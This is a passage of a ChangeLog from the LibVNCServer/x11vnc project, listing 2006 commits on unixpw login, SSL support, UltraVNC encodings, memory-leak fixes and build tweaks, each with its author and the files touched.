<runge> 5249 5250 * x11vnc/README, x11vnc/keyboard.c, x11vnc/unixpw.c, 5251 x11vnc/unixpw.h: x11vnc: plug a couple unixpw gaps. 5252 52532006-07-04 runge <runge> 5254 5255 * configure.ac, x11vnc/README, x11vnc/inet.c, x11vnc/keyboard.c, 5256 x11vnc/sslhelper.c, x11vnc/unixpw.c, x11vnc/user.c, x11vnc/util.c, 5257 x11vnc/v4l.c, x11vnc/x11vnc.c, x11vnc/x11vnc.h: x11vnc: remove 5258 compiler warnings; HP-UX tweaks. 5259 52602006-07-04 runge <runge> 5261 5262 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 5263 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 5264 x11vnc/cursor.h, x11vnc/help.c, x11vnc/help.h, x11vnc/inet.c, 5265 x11vnc/pointer.c, x11vnc/remote.c, x11vnc/scan.c, 5266 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/unixpw.c, 5267 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, x11vnc/util.c, 5268 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 5269 x11vnc/xevents.c: x11vnc: more -unixpw work. add -license, etc. 5270 options 5271 52722006-06-24 runge <runge> 5273 5274 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5275 x11vnc/connections.c, x11vnc/connections.h, x11vnc/gui.c, 5276 x11vnc/scan.c, x11vnc/solid.c, x11vnc/sslcmds.c, x11vnc/unixpw.c, 5277 x11vnc/user.c, x11vnc/util.c, x11vnc/v4l.c, x11vnc/win_utils.c, 5278 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 5279 x11vnc/xwrappers.c: x11vnc: misc cleanup. 5280 52812006-06-18 runge <runge> 5282 5283 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 5284 x11vnc/cleanup.c, x11vnc/connections.c, x11vnc/connections.h, 5285 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, 5286 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pointer.c, 5287 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, 5288 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/sslhelper.h, 5289 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5290 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, 5291 x11vnc/userinput.c, x11vnc/util.c, x11vnc/v4l.c, 5292 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5293 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5294 x11vnc/xevents.c, x11vnc/xevents.h, x11vnc/xrandr.h, 5295 x11vnc/xwrappers.c: x11vnc: --grabkbd, -grabptr, -env, -allowedcmds, 5296 unixpw+WAIT user fred:options 5297 52982006-06-15 dscho <dscho> 5299 5300 * VisualNaCro/README: fix typo 5301 53022006-06-15 dscho <dscho> 5303 5304 * VisualNaCro/ChangeLog, VisualNaCro/NEWS, VisualNaCro/recorder.pl: 5305 no need for Time::HiRes to play back 5306 53072006-06-15 dscho <dscho> 5308 5309 * VisualNaCro/recorder.pl: add timing 5310 53112006-06-13 runge <runge> 5312 5313 * classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5314 x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c, 5315 x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, 5316 x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/unixpw.c, 5317 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/util.c, x11vnc/util.h, 5318 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5319 x11vnc/x11vnc_defs.c: x11vnc: -display WAIT:cmd=FINDDISPLAY, 5320 HTTPONCE, -http_ssl option, Java fixes. 5321 53222006-06-09 runge <runge> 5323 5324 * x11vnc/ChangeLog, x11vnc/README, x11vnc/unixpw.c, x11vnc/user.c: 5325 x11vnc: make -display WAIT + -unixpw work on Solaris. 5326 53272006-06-08 runge <runge> 5328 5329 * ChangeLog, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 5330 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, 5331 x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/pointer.c, 5332 x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c, x11vnc/sslcmds.c, 5333 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5334 x11vnc/unixpw.c, x11vnc/unixpw.h, x11vnc/user.c, x11vnc/user.h, 5335 x11vnc/v4l.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5336 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 5337 x11vnc/xkb_bell.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, 5338 x11vnc/xwrappers.h: x11vnc: -display WAIT:..., -users unixpw=, su_verify dpy command. 5339 53402006-06-05 steven_carr <steven_carr> 5341 5342 * libvncclient/rfbproto.c, libvncserver/auth.c, 5343 libvncserver/rfbserver.c: RFB 3.8 clients are well informed 5344 53452006-06-05 steven_carr <steven_carr> 5346 5347 * libvncserver/auth.c: Better support for RFB >= 3.8 protocols 5348 53492006-06-05 steven_carr <steven_carr> 5350 5351 * libvncserver/auth.c: All security types for RFB >= 3.7 *have* to 5352 respond with a Security Result (Even rfbSecTypeNone) 5353 53542006-06-03 runge <runge> 5355 5356 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5357 x11vnc/connections.c, x11vnc/help.c, x11vnc/keyboard.c, 5358 x11vnc/linuxfb.c, x11vnc/options.c, x11vnc/options.h, 5359 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5360 x11vnc/screen.h, x11vnc/sslcmds.c, x11vnc/sslhelper.c, 5361 x11vnc/sslhelper.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5362 x11vnc/unixpw.c, x11vnc/userinput.c, x11vnc/win_utils.c, 5363 x11vnc/win_utils.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5364 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c, 5365 x11vnc/xevents.h, x11vnc/xwrappers.c: x11vnc: -capslock -skip_lockkeys; Alt keys under -rawfb cons. 5366 53672006-06-03 runge <runge> 5368 5369 * libvncserver/auth.c: move all types into handler loop. 5370 53712006-05-29 steven_carr <steven_carr> 5372 5373 * ChangeLog: Identified and removed some memory leaks associated 5374 with the Encodings RRE, CoRRE, ZLIB, and Ultra. KeyboardLedState 5375 now has portable masks defined. rfb >= 3.7 Security Type Handler 5376 list would grow 1 entry for each new client connection. 5377 53782006-05-29 steven_carr <steven_carr> 5379 5380 * libvncserver/auth.c: Security Type memory leak plugged. Leaks 5381 when rfb >= 3.7 clients connects. The security list would grow 1 5382 entry when clients connect. 5383 53842006-05-28 steven_carr <steven_carr> 5385 5386 * rfb/rfbproto.h: KeyboardLedState Encoding Masks are now defined 5387 for portability 5388 53892006-05-28 steven_carr <steven_carr> 5390 5391 * libvncserver/corre.c, libvncserver/main.c, 5392 libvncserver/private.h, libvncserver/rfbserver.c, 5393 libvncserver/rre.c, libvncserver/ultra.c, libvncserver/zlib.c: 5394 Plugged some memory leakage 5395 53962006-05-16 steven_carr <steven_carr> 5397 5398 * libvncserver/rfbserver.c, rfb/rfb.h: Permit auth.c to test major 5399 version 5400 54012006-05-16 steven_carr <steven_carr> 5402 5403 * libvncserver/auth.c: Specifically test for Major Version 3 added 5404 54052006-05-16 steven_carr <steven_carr> 5406 5407 * ChangeLog, libvncserver/stats.c: Statistics now fit into 80-column 5408 output 5409 54102006-05-16 steven_carr <steven_carr> 5411 5412 * libvncserver/stats.c: Statistics output now fits in 80-column 5413 output 5414 54152006-05-16 steven_carr <steven_carr> 5416 5417 * libvncserver/cursor.c: Corrected Cursor Statistics reporting as 5418 messages 5419 54202006-05-15 dscho <dscho> 5421 5422 * libvncserver/tightvnc-filetransfer/Makefile.am: remove unneeded 5423 file 5424 54252006-05-15 steven_carr <steven_carr> 5426 5427 * libvncserver/rfbserver.c, rfb/rfb.h: Support sending TextChat 5428 messages back to the client 5429 54302006-05-15 steven_carr <steven_carr> 5431 5432 * ChangeLog, libvncserver/cargs.c, libvncserver/main.c, 5433 libvncserver/rfbserver.c, rfb/rfb.h, rfb/rfbproto.h: Default to RFB 5434 3.8, add command line option to specify the RFB version. 5435 54362006-05-15 steven_carr <steven_carr> 5437 5438 * ChangeLog, client_examples/SDLvncviewer.c, 5439 libvncclient/rfbproto.c, libvncclient/ultra.c, libvncclient/zrle.c, 5440 libvncserver/auth.c, libvncserver/corre.c, libvncserver/cursor.c, 5441 libvncserver/hextile.c, libvncserver/main.c, 5442 libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, 5443 libvncserver/sockets.c, libvncserver/stats.c, libvncserver/tight.c, 5444 libvncserver/tightvnc-filetransfer/rfbtightproto.h, 5445 libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, 5446 rfb/rfb.h, rfb/rfbclient.h, rfb/rfbproto.h, x11vnc/rates.c, 5447 x11vnc/userinput.c: The great UltraVNC Compatibility Commit 5448 54492006-05-13 runge <runge> 5450 5451 * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, 5452 libvncclient/minilzo.c, libvncclient/minilzo.h, 5453 libvncserver/lzoconf.h, libvncserver/minilzo.c, 5454 libvncserver/minilzo.h, libvncserver/rfbserver.c, 5455 libvncserver/scale.c, vncterm/Makefile.am: fix some build issues WRT ultravnc code. 5456 54572006-05-07 runge <runge> 5458 5459 * ChangeLog, configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, 5460 x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, 5461 x11vnc/cursor.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/keyboard.c, 5462 x11vnc/linuxfb.c, x11vnc/linuxfb.h, x11vnc/options.c, 5463 x11vnc/options.h, x11vnc/params.h, x11vnc/pm.c, x11vnc/pointer.c, 5464 x11vnc/rates.c, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5465 x11vnc/screen.h, x11vnc/selection.c, x11vnc/solid.c, 5466 x11vnc/sslhelper.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5467 x11vnc/unixpw.c, x11vnc/user.c, x11vnc/userinput.c, x11vnc/v4l.c, 5468 x11vnc/v4l.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5469 x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5470 x11vnc/xevents.c, x11vnc/xinerama.c, x11vnc/xkb_bell.c, 5471 x11vnc/xrandr.c, x11vnc/xrecord.c, x11vnc/xwrappers.c, 5472 x11vnc/xwrappers.h: x11vnc: support for video4linux webcams & tv-tuners, -24to32 bpp 5473 option, -rawfb console. 5474 54752006-05-04 steven_carr <steven_carr> 5476 5477 * ChangeLog, libvncclient/rfbproto.c, libvncserver/rfbserver.c, 5478 rfb/rfb.h, rfb/rfbproto.h, x11vnc/screen.c: Server Capability 5479 Encodings rfbEncodingSupportedEncodings - What encodings are 5480 supported? rfbEncodingSupportedMessages - What message types are 5481 supported? rfbEncodingServerIdentity - What is the servers 5482 version string? ie: "x11vnc: 0.8.1 lastmod: 2006-04-25 (LibVNCServer 5483 0.9pre)" 5484 54852006-05-04 steven_carr <steven_carr> 5486 5487 * libvncclient/rfbproto.c: UltraVNC with scaling, will send 5488 rectangles with a zero W or H We need to process the rectangle 5489 (especially if it a type that contains subrectangles or any kind of 5490 compression). UltraVNC should be fixed to prevent these useless 5491 rectangles from being sent. 5492 54932006-05-04 steven_carr <steven_carr> 5494 5495 * libvncclient/rfbproto.c, libvncclient/vncviewer.c, 5496 rfb/rfbclient.h: Client side support for PalmVNC/UltraVNC 'Server 5497 Side Scaling' 5498 54992006-05-04 steven_carr <steven_carr> 5500 5501 * rfb/rfbproto.h: KeyboardLedState should be placed in 'various 5502 protocol extensions' 5503 55042006-05-03 steven_carr <steven_carr> 5505 5506 * ChangeLog, libvncserver/Makefile.am, libvncserver/corre.c, 5507 libvncserver/cursor.c, libvncserver/hextile.c, libvncserver/main.c, 5508 libvncserver/rfbserver.c, libvncserver/rre.c, libvncserver/scale.c, 5509 libvncserver/scale.h, libvncserver/stats.c, libvncserver/tight.c, 5510 libvncserver/ultra.c, libvncserver/zlib.c, libvncserver/zrle.c, 5511 rfb/rfb.h: Client Independent Server Side Scaling is now supported 5512 Both PalmVNC and UltraVNC SetScale messages are supported 5513 55142006-05-02 steven_carr <steven_carr> 5515 5516 * ChangeLog, libvncclient/Makefile.am, libvncclient/lzoconf.h, 5517 libvncclient/minilzo.c, libvncclient/minilzo.h, 5518 libvncclient/rfbproto.c, libvncclient/ultra.c, 5519 libvncclient/vncviewer.c, libvncserver/Makefile.am, 5520 libvncserver/lzoconf.h, libvncserver/minilzo.c, 5521 libvncserver/minilzo.h, libvncserver/rfbserver.c, 5522 libvncserver/ultra.c, rfb/rfb.h, rfb/rfbclient.h: Ultra Encoding 5523 added. Tested against UltraVNC V1.01 5524 55252006-05-02 steven_carr <steven_carr> 5526 5527 * libvncclient/rfbproto.c: CopyRectangle() BPP!=8 bug fixed 5528 55292006-05-02 steven_carr <steven_carr> 5530 5531 * libvncclient/vncviewer.c: Eliminate incompatible pointer 5532 assignment warning (gcc 4.0.1) 5533 55342006-05-02 steven_carr <steven_carr> 5535 5536 * libvncclient/hextile.c, libvncclient/tight.c, libvncclient/zlib.c: 5537 signed vs unsigned warnings eliminated (gcc 4.0.1) 5538 55392006-04-30 dscho <dscho> 5540 5541 * examples/Makefile.am: include rotatetemplate.c in the tarball 5542 55432006-04-28 dscho <dscho> 5544 5545 * client_examples/SDLvncviewer.c, libvncclient/rfbproto.c, 5546 rfb/rfbclient.h: libvncclient: support changing of framebuffer size; 5547 make SDLvncviewer use it 5548 55492006-04-28 dscho <dscho> 5550 5551 * client_examples/SDLvncviewer.c: fix SDLvncviewer for widths which 5552 are not divisible by 8 5553 55542006-04-27 dscho <dscho> 5555 5556 * ChangeLog, examples/.cvsignore, examples/Makefile.am, 5557 examples/pnmshow.c, examples/rotate.c, examples/rotatetemplate.c: 5558 add rotate and flip example 5559 55602006-04-27 dscho <dscho> 5561 5562 * examples/camera.c: malloc.h should not be needed (it is missing on 5563 quite a few platforms) 5564 55652006-04-26 runge <runge> 5566 5567 * ChangeLog, classes/ssl/ssl_vncviewer, 5568 client_examples/Makefile.am, configure.ac, contrib/Makefile.am, 5569 examples/Makefile.am, libvncclient/Makefile.am, 5570 libvncserver/Makefile.am, 5571 libvncserver/tightvnc-filetransfer/Makefile.am, test/Makefile.am, 5572 x11vnc/ChangeLog, x11vnc/Makefile.am, x11vnc/README, x11vnc/help.c, 5573 x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc.h, 5574 x11vnc/x11vnc_defs.c: Make VPATH building work with -I $(top_srcdir) for rfb/rfb.h 5575 55762006-04-17 steven_carr <steven_carr> 5577 5578 * ChangeLog, examples/Makefile.am, examples/camera.c: Added an 5579 example camera application to demonstrate another way to write a 5580 server application. 5581 55822006-04-16 runge <runge> 5583 5584 * classes/ssl/ssl_vncviewer, 5585 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5586 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c, 5587 x11vnc/sslcmds.c, x11vnc/sslhelper.c, x11vnc/ssltools.h, 5588 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: Apache SSL gateway. More web proxy cases for Java and 5589 ssl_vncviewer. 5590 55912006-04-05 runge <runge> 5592 5593 * ChangeLog, classes/ssl/Makefile.am, classes/ssl/README, 5594 classes/ssl/proxy.vnc, classes/ssl/ssl_vncviewer, 5595 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5596 configure.ac, prepare_x11vnc_dist.sh, x11vnc/ChangeLog, 5597 x11vnc/Makefile.am, x11vnc/README, x11vnc/cleanup.c, 5598 x11vnc/cleanup.h, x11vnc/connections.c, x11vnc/help.c, 5599 x11vnc/options.c, x11vnc/options.h, x11vnc/pm.c, x11vnc/pm.h, 5600 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/sslcmds.c, 5601 x11vnc/sslcmds.h, x11vnc/sslhelper.c, x11vnc/sslhelper.h, 5602 x11vnc/ssltools.h, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5603 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5604 x11vnc/x11vnc_defs.c: SSL Java viewer work thru proxy. -sslGenCA, etc key/cert 5605 management utils for x11vnc. FBPM "support". 5606 56072006-03-28 dscho <dscho> 5608 5609 * ChangeLog, client_examples/SDLvncviewer.c, 5610 libvncclient/rfbproto.c, libvncclient/vncviewer.c, 5611 libvncserver/main.c, libvncserver/rfbserver.c, rfb/rfb.h, 5612 rfb/rfbclient.h, rfb/rfbproto.h: add KeyboardLedState extension 5613 56142006-03-28 runge <runge> 5615 5616 * ChangeLog, classes/Makefile.am, classes/ssl/Makefile.am, 5617 classes/ssl/index.vnc, 5618 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-cursor-colors+no-tab 5619 -traversal.patch, 5620 classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch, 5621 configure.ac, libvncserver/httpd.c, prepare_x11vnc_dist.sh, 5622 x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5623 x11vnc/connections.c, x11vnc/connections.h, x11vnc/cursor.c, 5624 x11vnc/help.c, x11vnc/keyboard.c, x11vnc/options.c, 5625 x11vnc/options.h, x11vnc/pointer.c, x11vnc/rates.c, 5626 x11vnc/remote.c, x11vnc/screen.c, x11vnc/sslcmds.c, 5627 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, 5628 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 5629 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 5630 x11vnc/xwrappers.c: SSL patch for Java viewer. https support for x11vnc. 5631 56322006-03-27 dscho <dscho> 5633 5634 * AUTHORS, ChangeLog, libvncserver/rfbserver.c: ignore 5635 maxRectsPerUpdate when encoding is Zlib (thanks scarr) 5636 56372006-03-27 dscho <dscho> 5638 5639 * libvncclient/vncviewer.c: libvncclient: take -compress <level> and 5640 -quality <level> command line arguments 5641 56422006-03-12 runge <runge> 5643 5644 * configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 5645 x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c, 5646 x11vnc/gui.c, x11vnc/help.c, x11vnc/misc/Xdummy, x11vnc/options.c, 5647 x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5648 x11vnc/screen.h, x11vnc/selection.c, x11vnc/sslcmds.c, 5649 x11vnc/sslhelper.c, x11vnc/sslhelper.h, x11vnc/tkx11vnc, 5650 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/x11vnc.1, 5651 x11vnc/x11vnc.c, x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, 5652 x11vnc/xevents.c: x11vnc: add -ssl mode using libssl. Include Xdummy in misc. 5653 56542006-03-08 runge <runge> 5655 5656 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 5657 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 5658 x11vnc/screen.c, x11vnc/selection.c, x11vnc/selection.h, 5659 x11vnc/sslcmds.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, 5660 x11vnc/unixpw.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5661 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: do CLIPBOARD, reverse conn require passwds, -usepw, 5662 -debug_sel, -storepasswd homedir. 5663 56642006-03-06 runge <runge> 5665 5666 * x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c, 5667 x11vnc/connections.h, x11vnc/gui.c, x11vnc/gui.h, x11vnc/help.c, 5668 x11vnc/params.h, x11vnc/remote.c, x11vnc/sslcmds.c, 5669 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 5670 x11vnc/unixpw.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, 5671 x11vnc/x11vnc_defs.c, x11vnc/xevents.c, x11vnc/xevents.h: x11vnc: gui speedup and fixes. -unixpw and -inetd 5672 56732006-03-05 runge <runge> 5674 5675 * configure.ac, x11vnc/ChangeLog, x11vnc/README, 5676 x11vnc/connections.c, x11vnc/gui.c, x11vnc/help.c, x11vnc/inet.c, 5677 x11vnc/options.c, x11vnc/options.h, x11vnc/remote.c, 5678 x11vnc/sslcmds.c, x11vnc/sslcmds.h, x11vnc/tkx11vnc, 5679 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, 5680 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5681 x11vnc/x11vnc_defs.c: x11vnc: -unixpw on *bsd, hpux and tru64. -unixpw_nis mode. stunnel 5682 and gui tweaks. 5683 56842006-03-03 runge <runge> 5685 5686 * configure.ac, x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, 5687 x11vnc/connections.c, x11vnc/help.c, x11vnc/inet.c, x11vnc/inet.h, 5688 x11vnc/keyboard.c, x11vnc/remote.c, x11vnc/tkx11vnc, 5689 x11vnc/tkx11vnc.h, x11vnc/unixpw.c, x11vnc/unixpw.h, 5690 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5691 x11vnc/x11vnc_defs.c: x11vnc: more -unixpw mode. -gone popup mode. Change filexfer via 5692 -R. Tune SMALL_FOOTPRINT. 5693 56942006-03-01 dscho <dscho> 5695 5696 * examples/Makefile.am, examples/blooptest.c, examples/example.c: 5697 Fix blooptest example 5698 56992006-03-01 dscho <dscho> 5700 5701 * rfb/keysym.h: do not assume that KEYSYM_H guards X11's keysym.h 5702 57032006-03-01 dscho <dscho> 5704 5705 * libvncserver/main.c: do not timeout on idle client input (with 5706 pthreads) 5707 57082006-03-01 dscho <dscho> 5709 5710 * examples/Makefile.am: if compiling with pthreads, also compile 5711 blooptest 5712 57132006-02-28 dscho <dscho> 5714 5715 * libvncserver/sockets.c: rfbCheckFds now returns the number of 5716 processed events 5717 57182006-02-28 dscho <dscho> 5719 5720 * AUTHORS, ChangeLog, libvncserver/main.c, libvncserver/sockets.c, 5721 rfb/rfb.h: add handleEventsEagerly flag (Thanks, Donald) 5722 57232006-02-25 runge <runge> 5724 5725 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/Makefile.am, 5726 x11vnc/README, x11vnc/allowed_input_t.h, x11vnc/cleanup.c, 5727 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c, 5728 x11vnc/inet.c, x11vnc/inet.h, x11vnc/keyboard.c, x11vnc/keyboard.h, 5729 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 5730 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, 5731 x11vnc/selection.c, x11vnc/sslcmds.c, x11vnc/sslcmds.h, 5732 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/unixpw.c, 5733 x11vnc/unixpw.h, x11vnc/user.c, x11vnc/userinput.c, 5734 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5735 x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, x11vnc/xevents.c, 5736 x11vnc/xrecord.c: x11vnc: -unixpw and -stunnel. Add clipboard to input control. 5737 57382006-02-24 rohit_99129 <rohit_99129> 5739 5740 * libvncserver/main.c, rfb/rfb.h: Added method to get extension 5741 specific client data 5742 57432006-02-24 rohit_99129 <rohit_99129> 5744 5745 * ChangeLog, libvncserver/main.c, 5746 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: 5747 Added method to get extension specific client data 5748 57492006-02-22 dscho <dscho> 5750 5751 * ChangeLog, libvncserver/auth.c, libvncserver/main.c, 5752 libvncserver/tightvnc-filetransfer/rfbtightserver.c, rfb/rfb.h: add 5753 functions to unregister extensions/security types 5754 57552006-02-21 dscho <dscho> 5756 5757 * configure.ac, x11vnc/Makefile.am: IRIX linker is very picky about 5758 order of libraries 5759 57602006-02-20 runge <runge> 5761 5762 * ChangeLog, configure.ac, libvncserver/cursor.c, 5763 libvncserver/main.c, 5764 libvncserver/tightvnc-filetransfer/filelistinfo.c, 5765 libvncserver/tightvnc-filetransfer/filetransfermsg.c, 5766 libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, 5767 prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README, 5768 x11vnc/connections.c, x11vnc/inet.c, x11vnc/user.c, 5769 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c, x11vnc/xevents.c: fix some non-gcc compiler warnings and signals in x11vnc 5770 57712006-02-07 runge <runge> 5772 5773 * x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/x11vnc.1, 5774 x11vnc/x11vnc.h: x11vnc: fix AIX build wrt h_errno. 5775 57762006-02-06 runge <runge> 5777 5778 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5779 x11vnc/win_utils.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: -8to24 more speedups; tunables for very slow machines. 5780 57812006-02-05 runge <runge> 5782 5783 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, 5784 x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, x11vnc/params.h, 5785 x11vnc/rates.c, x11vnc/scan.c, x11vnc/scan.h, x11vnc/userinput.c, 5786 x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, 5787 x11vnc/xinerama.c: x11vnc: -8to24 speedups and improvements. 5788 57892006-01-22 runge <runge> 5790 5791 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5792 x11vnc/options.c, x11vnc/options.h, x11vnc/pointer.c, 5793 x11vnc/rates.c, x11vnc/remote.c, x11vnc/screen.c, x11vnc/tkx11vnc, 5794 x11vnc/tkx11vnc.h, x11vnc/win_utils.c, x11vnc/x11vnc.1, 5795 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 opts, use XGetSubImage. fix -threads deadlocks and 5796 -rawfb crash 5797 57982006-01-19 runge <runge> 5799 5800 * x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, x11vnc/README, 5801 x11vnc/cursor.c, x11vnc/help.c, x11vnc/remote.c, x11vnc/scan.c, 5802 x11vnc/screen.c, x11vnc/userinput.c, x11vnc/x11vnc.1, 5803 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -8to24 now works on default depth 8 displays. 5804 58052006-01-16 runge <runge> 5806 5807 * x11vnc/8to24.c, x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, 5808 x11vnc/util.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: more tweaks to -8to24 XGETIMAGE_8TO24 5809 58102006-01-15 runge <runge> 5811 5812 * ChangeLog, x11vnc/8to24.c, x11vnc/8to24.h, x11vnc/ChangeLog, 5813 x11vnc/Makefile.am, x11vnc/README, x11vnc/connections.c, 5814 x11vnc/cursor.c, x11vnc/help.c, x11vnc/options.c, x11vnc/options.h, 5815 x11vnc/remote.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/tkx11vnc, 5816 x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/util.c, 5817 x11vnc/util.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h, 5818 x11vnc/x11vnc_defs.c: x11vnc: add -8to24 option for some multi-depth displays. 5819 58202006-01-12 runge <runge> 5821 5822 * ChangeLog, configure.ac, x11vnc/ChangeLog, x11vnc/README, 5823 x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/x11vnc.h: configure.ac: 5824 add switches for most X extensions. 5825 58262006-01-11 runge <runge> 5827 5828 * libvncserver/main.c, prepare_x11vnc_dist.sh, x11vnc/README, 5829 x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: logMutex needs to be 5830 initialized too; in rfbDefaultLog. 5831 58322006-01-11 runge <runge> 5833 5834 * x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, 5835 x11vnc/connections.c, x11vnc/cursor.c, x11vnc/keyboard.c, 5836 x11vnc/pointer.c, x11vnc/scan.c, x11vnc/screen.c, x11vnc/solid.c, 5837 x11vnc/userinput.c, x11vnc/win_utils.c, x11vnc/x11vnc.1, 5838 x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c, x11vnc/xdamage.c, 5839 x11vnc/xrecord.c: x11vnc: close fd > 2 in run_user_command(), -nocmds in crash_debug, 5840 fix 64bit bug for -solid. 